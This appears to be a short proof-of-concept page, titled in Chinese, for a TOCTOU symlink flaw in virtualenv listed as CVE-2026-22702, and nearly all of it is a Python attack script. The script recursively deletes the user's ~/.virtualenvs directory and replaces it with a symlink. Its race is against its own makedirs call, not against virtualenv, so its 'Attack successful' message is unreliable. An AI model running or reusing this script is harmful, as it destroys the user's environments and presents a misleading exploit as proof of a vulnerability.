CVE-2026-22702 virtualenv TOCTOU符号链接攻击漏洞

#!/usr/bin/env python3 """ CVE-2026-22702 PoC - virtualenv TOCTOU symlink attack Note: This is a conceptual PoC for educational and security research purposes only. """ import os import time import threading import subprocess import tempfile import shutil def toctou_attack(): """ Demonstrates TOCTOU vulnerability in virtualenv directory creation. Attack window exists between existence check and directory creation. """ target_dir = os.path.expanduser("~/.virtualenvs") malicious_dir = tempfile.mkdtemp(prefix="malicious_") print(f"[*] Target directory: {target_dir}") print(f"[*] Malicious redirect: {malicious_dir}") # Race condition window - create symlink during check->create gap def create_symlink_race(): time.sleep(0.001) # Small delay to hit the race window if os.path.exists(target_dir): shutil.rmtree(target_dir) os.symlink(malicious_dir, target_dir) print(f"[+] Symlink created: {target_dir} -> {malicious_dir}") race_thread = threading.Thread(target=create_symlink_race) race_thread.start() # Trigger virtualenv directory creation (vulnerable code path) # In real attack, this would trigger virtualenv's internal operations try: os.makedirs(target_dir, exist_ok=True) except: pass race_thread.join() # Verify if symlink attack succeeded if os.path.islink(target_dir): print(f"[!] Attack successful - virtualenv would write to: {os.readlink(target_dir)}") return True return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-22702 - virtualenv TOCTOU Symlink Attack PoC") print("=" * 60) toctou_attack()